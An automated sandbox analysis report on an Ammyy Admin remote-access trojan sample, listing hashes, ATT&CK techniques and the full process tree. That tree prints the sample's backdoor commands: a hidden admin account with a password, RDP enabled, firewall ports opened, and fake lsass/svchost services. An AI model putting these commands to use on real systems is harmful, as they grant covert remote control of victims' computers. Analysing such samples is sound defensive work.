ammyyadmin | c29ad03e0ec0fc3917ba169a13cace2455cf7c79aee863766255ae77c805a533

General

Target

e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe
Size

793KB
MD5

e25a5099c31b2f40353e95ba4d0c3fec
SHA1

44c0d53160a4791f82456c4c4a70cd1bf1194d51
SHA256

c29ad03e0ec0fc3917ba169a13cace2455cf7c79aee863766255ae77c805a533
SHA512

343760910ba9c89131e62e67e5e7a4045059a8fe3aff1578811273cbca093a6280525320f5ec55bff1426629c92a3543167b92005535815efa65f03859dbac2e
SSDEEP

24576:z9DTK2LB+Rz13UT1++7WSM7hIiaeQ+oAgDjBUv:zhB86d7U7CeaDj+

Score

10^/10

ammyyadmin defense_evasion discovery evasion execution persistence privilege_escalation rat

Malware Config

Signatures

Ammyy Admin
Remote admin tool with various capabilities.
rat ammyyadmin

AmmyyAdmin payload 1 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Roaming\svchost.exe	family_ammyyadmin

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Modifies Windows Firewall 2 TTPs 7 IoCs
evasion

Windows Service
T1543.003

Disable or Modify System Firewall
T1562.004

Processes:

netsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exe

pid process

3616 netsh.exe
5084 netsh.exe
3096 netsh.exe
364 netsh.exe
1160 netsh.exe
4292 netsh.exe
444 netsh.exe

pid	process
3616	netsh.exe
5084	netsh.exe
3096	netsh.exe
364	netsh.exe
1160	netsh.exe
4292	netsh.exe
444	netsh.exe

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

REG.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\PlugAndPlay\ImagePath = "C:\\Users\\Admin\\AppData\\Roaming\\svchost.exe -service -debug"	REG.exe

Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002
Executes dropped EXE 1 IoCs

Processes:

termserv.exe

pid process

3112 termserv.exe
Password Policy Discovery 1 TTPs
Attempt to access detailed information about the password policy used within an enterprise network.
discovery

Password Policy Discovery
T1201

pid	process
3112	termserv.exe

Hide Artifacts: Hidden Users 1 TTPs 1 IoCs

defense_evasion

Hidden Users

T1564.002

Processes:

REG.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\Microsoft = "0"	REG.exe

Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

8 sc.exe
3564 sc.exe
1956 sc.exe
1472 sc.exe
4532 sc.exe
428 sc.exe
2612 sc.exe
3256 sc.exe
4568 sc.exe
5028 sc.exe

pid	process
8	sc.exe
3564	sc.exe
1956	sc.exe
1472	sc.exe
4532	sc.exe
428	sc.exe
2612	sc.exe
3256	sc.exe
4568	sc.exe
5028	sc.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 21 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

Processes:

netsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exe

description	ioc	process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Location Discovery: System Language Discovery 1 TTPs 39 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

net.exenet.exeREG.exenetsh.exenetsh.exetermserv.exesc.exenet1.exenet1.exesc.exesc.exenetsh.exenet.exenet1.exesc.exenetsh.exenetsh.exenet.exesc.exenet.exeREG.exenet.exesc.exesc.exesc.exeREG.exee25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exenet1.exenet1.exeREG.exenetsh.exeREG.exeREG.exenet1.exenet.exesc.exenetsh.exesc.exenet1.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	REG.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	termserv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	REG.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	REG.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	REG.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	REG.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	REG.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe

Runs net.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe

description pid process

Token: SeDebugPrivilege 2464 e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

termserv.exe

pid process

3112 termserv.exe
3112 termserv.exe

description	pid	process
Token: SeDebugPrivilege	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe

pid	process
3112	termserv.exe
3112	termserv.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe

description	pid	process	target process
PID 2464 wrote to memory of 4568	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2464 wrote to memory of 4568	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2464 wrote to memory of 4568	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2464 wrote to memory of 5028	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2464 wrote to memory of 5028	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2464 wrote to memory of 5028	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2464 wrote to memory of 1472	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2464 wrote to memory of 1472	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2464 wrote to memory of 1472	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2464 wrote to memory of 4532	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2464 wrote to memory of 4532	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2464 wrote to memory of 4532	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2464 wrote to memory of 428	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2464 wrote to memory of 428	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2464 wrote to memory of 428	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2464 wrote to memory of 3564	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2464 wrote to memory of 3564	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2464 wrote to memory of 3564	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2464 wrote to memory of 1160	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	netsh.exe
PID 2464 wrote to memory of 1160	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	netsh.exe
PID 2464 wrote to memory of 1160	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	netsh.exe
PID 2464 wrote to memory of 1956	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2464 wrote to memory of 1956	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2464 wrote to memory of 1956	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2464 wrote to memory of 1044	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	REG.exe
PID 2464 wrote to memory of 1044	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	REG.exe
PID 2464 wrote to memory of 1044	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	REG.exe
PID 2464 wrote to memory of 552	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	REG.exe
PID 2464 wrote to memory of 552	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	REG.exe
PID 2464 wrote to memory of 552	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	REG.exe
PID 2464 wrote to memory of 1336	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	REG.exe
PID 2464 wrote to memory of 1336	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	REG.exe
PID 2464 wrote to memory of 1336	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	REG.exe
PID 2464 wrote to memory of 4292	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	netsh.exe
PID 2464 wrote to memory of 4292	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	netsh.exe
PID 2464 wrote to memory of 4292	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	netsh.exe
PID 2464 wrote to memory of 444	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	netsh.exe
PID 2464 wrote to memory of 444	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	netsh.exe
PID 2464 wrote to memory of 444	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	netsh.exe
PID 2464 wrote to memory of 3616	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	netsh.exe
PID 2464 wrote to memory of 3616	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	netsh.exe
PID 2464 wrote to memory of 3616	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	netsh.exe
PID 2464 wrote to memory of 5084	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	netsh.exe
PID 2464 wrote to memory of 5084	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	netsh.exe
PID 2464 wrote to memory of 5084	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	netsh.exe
PID 2464 wrote to memory of 3096	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	netsh.exe
PID 2464 wrote to memory of 3096	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	netsh.exe
PID 2464 wrote to memory of 3096	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	netsh.exe
PID 2464 wrote to memory of 364	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	netsh.exe
PID 2464 wrote to memory of 364	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	netsh.exe
PID 2464 wrote to memory of 364	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	netsh.exe
PID 2464 wrote to memory of 3112	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	termserv.exe
PID 2464 wrote to memory of 3112	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	termserv.exe
PID 2464 wrote to memory of 3112	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	termserv.exe
PID 2464 wrote to memory of 8	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2464 wrote to memory of 8	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2464 wrote to memory of 8	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2464 wrote to memory of 2612	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2464 wrote to memory of 2612	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2464 wrote to memory of 2612	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2464 wrote to memory of 3256	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2464 wrote to memory of 3256	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2464 wrote to memory of 3256	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2464 wrote to memory of 3128	2464	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	net.exe

C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2464

C:\Windows\SysWOW64\sc.exe
sc stop "ProtocolWindows_ "
2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:4568

C:\Windows\SysWOW64\sc.exe
sc delete "ProtocolWindows_ "
2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:5028

C:\Windows\SysWOW64\sc.exe
sc stop "PlugAndPlay"
2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:1472

C:\Windows\SysWOW64\sc.exe
sc delete "PlugAndPlay"
2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:4532

C:\Windows\SysWOW64\sc.exe
sc create "ProtocolWindows_ " binpath= "C:\Users\Admin\AppData\Roaming\lsass.exe" displayname= "Protocol HTTP/SSL " type= own start= auto error= ignore
2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:428

C:\Windows\SysWOW64\sc.exe
sc description "ProtocolWindows_ " "Ýòà ñëóæáa îáåñïå÷èâàåò áåçîïañíûé ïðîòîêîë ïåðåäà÷è äàííûõ ãèïåðòåêñòà (HTTPS) äëÿ ñëóæáû HTTP. Åñëè ýòà ñëóæáà îòêëþ÷åía, ëþáûå ñëóæáû, êîòîðûå ÿâíî çaâèñÿò îò íåå, íå ìîãóò áûòü çàïóùåíû. "
2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:3564

C:\Windows\SysWOW64\netsh.exe
netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\lsass.exe" ENABLE
2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:1160

C:\Windows\SysWOW64\sc.exe
sc create "PlugAndPlay" displayname= "PlugAndPlay " binpath= "C:\Users\Admin\AppData\Roaming\svchost.exe -service -debug" type= own start= auto error= ignore
2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:1956

C:\Windows\SysWOW64\REG.exe
REG ADD "HKLM\SYSTEM\CurrentControlSet\services\PlugAndPlay" /v ImagePath /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\svchost.exe -service -debug" /f
2⤵
- Sets service image path in registry
- System Location Discovery: System Language Discovery
PID:1044

C:\Windows\SysWOW64\REG.exe
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_REGDWORD /d 3389 /f
2⤵
- System Location Discovery: System Language Discovery
PID:552

C:\Windows\SysWOW64\REG.exe
REG ADD "HKCU\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LOCALMACHINE_LOCKDOWN" /v iexplore.exe /t REG_REGDWORD /d 0 /f
2⤵
- System Location Discovery: System Language Discovery
PID:1336

C:\Windows\SysWOW64\netsh.exe
netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\svchost.exe" ENABLE
2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:4292

C:\Windows\SysWOW64\netsh.exe
netsh firewall add allowedprogram ctfmon.exe ENABLE
2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:444

C:\Windows\SysWOW64\netsh.exe
netsh firewall add portopening protocol = TCP port = 3389 name = TCP
2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:3616

C:\Windows\SysWOW64\netsh.exe
netsh firewall add portopening protocol = TCP port = 8080 name = TCP
2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:5084

C:\Windows\SysWOW64\netsh.exe
netsh firewall add portopening protocol = TCP port = 31337 name = TCP
2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:3096

C:\Windows\SysWOW64\netsh.exe
netsh firewall add portopening protocol = TCP port = 80 name = TCP
2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:364

C:\Users\Admin\AppData\Roaming\termserv.exe
C:\Users\Admin\AppData\Roaming\termserv.exe -silent
2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:3112

C:\Windows\SysWOW64\sc.exe
sc start mnmsrvc
2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:8

C:\Windows\SysWOW64\sc.exe
sc Start TlntSvr
2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:2612

C:\Windows\SysWOW64\sc.exe
sc Start TermService
2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:3256

C:\Windows\SysWOW64\net.exe
net start FastUserSwitchingCompatibility
2⤵
- System Location Discovery: System Language Discovery
PID:3128

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 start FastUserSwitchingCompatibility
3⤵
- System Location Discovery: System Language Discovery
PID:5004

C:\Windows\SysWOW64\net.exe
net start TermService
2⤵
- System Location Discovery: System Language Discovery
PID:1856

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 start TermService
3⤵
- System Location Discovery: System Language Discovery
PID:4152

C:\Windows\SysWOW64\REG.exe
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
2⤵
- System Location Discovery: System Language Discovery
PID:388

C:\Windows\SysWOW64\REG.exe
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
2⤵
- System Location Discovery: System Language Discovery
PID:4352

C:\Windows\SysWOW64\net.exe
net user Microsoft skj2g43 /add /EXPIRES:NEVER /active:yes
2⤵
- System Location Discovery: System Language Discovery
PID:424

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user Microsoft skj2g43 /add /EXPIRES:NEVER /active:yes
3⤵
- System Location Discovery: System Language Discovery
PID:2304

C:\Windows\SysWOW64\net.exe
net localgroup Microsoft /add
2⤵
- System Location Discovery: System Language Discovery
PID:4984

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup Microsoft /add
3⤵
- System Location Discovery: System Language Discovery
PID:1728

C:\Windows\SysWOW64\net.exe
net localgroup Àäìèíèñòðàòîðû Microsoft /add
2⤵
- System Location Discovery: System Language Discovery
PID:4200

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup Àäìèíèñòðàòîðû Microsoft /add
3⤵
- System Location Discovery: System Language Discovery
PID:552

C:\Windows\SysWOW64\net.exe
net localgroup Administrators Microsoft /add
2⤵
- System Location Discovery: System Language Discovery
PID:3552

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup Administrators Microsoft /add
3⤵
- System Location Discovery: System Language Discovery
PID:3436

C:\Windows\SysWOW64\net.exe
net accounts /maxpwage:unlimited
2⤵
- System Location Discovery: System Language Discovery
PID:2548

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 accounts /maxpwage:unlimited
3⤵
- System Location Discovery: System Language Discovery
PID:1556

C:\Windows\SysWOW64\REG.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v Microsoft /t REG_DWORD /d 0 /f
2⤵
- Hide Artifacts: Hidden Users
- System Location Discovery: System Language Discovery
PID:4248

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

System Services

2

T1569

Service Execution

2

T1569.002

Persistence

Account Manipulation

1

T1098

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Create or Modify System Process

3

T1543

Windows Service

3

T1543.003

Event Triggered Execution

1

T1546

Netsh Helper DLL

1

T1546.007

Privilege Escalation

Account Manipulation

1

T1098

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Create or Modify System Process

3

T1543

Windows Service

3

T1543.003

Event Triggered Execution

1

T1546

Netsh Helper DLL

1

T1546.007

Defense Evasion

Hide Artifacts

1

T1564

Hidden Users

1

T1564.002

Impair Defenses

2

T1562

Disable or Modify System Firewall

Modify Registry

Credential Access

Discovery

Password Policy Discovery

1

T1201

Permission Groups Discovery

1

T1069

Local Groups

1

T1069.001

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

1

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\lsass.exe

Filesize
24KB

MD5
f5d70d9c0d3e969d05853d74ed873938

SHA1
229c8228f7f7a7a9bb392cfd2c3e2094fbe7c205

SHA256
dc583111b2f8ef01f752f18682934005d5bb0060233f0c50f8c88c91dc17a0c5

SHA512
968c9b8f317e5650ecfe28d730b3a4e6a810b1cc6d0a415d297c1229f327d4ff14bb3b66552e22823037a0243fb613a41c051323fd7ba4e9dc4cbf65813f24ca

Download Submit
C:\Users\Admin\AppData\Roaming\svchost.exe

Filesize
587KB

MD5
ad6269fd2b94fa1ad58f4755c288eed2

SHA1
736be980a1170d6fbc63ee02bd7dde14fb860513

SHA256
18b723836baba860e45cb4cebd01dfecd71f318d88518baf2f0fa41b3bb8a704

SHA512
0ede581e7e6153612c63b8fce40f9e3bbd415f541800c9f57167f09f57fca657e59eff34db647b24bd7ef2eb8d3bb5a67244864cd2e49ec22b22ea692df1c3dc

Download Submit
C:\Users\Admin\AppData\Roaming\termserv.exe

Filesize
44KB

MD5
382cebd78ad354b1dfd91dc8176615f6

SHA1
5c734f779cf23cee4d7260a0eee3ce1ed888f1c0

SHA256
067f0765790c0e75c3774f4c5890ddacb8b99ecd6f80743d68aad9d34de8b445

SHA512
650a3be640baac30d3c36185048c6f4e5b2536cf0086b49386ea7149c7148cc1ce4f12c7832ddb2520677d67f15214b0c8e41c0eed5938b0283b1374f6bdd197

Download Submit
\??\PIPE\lsarpc

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
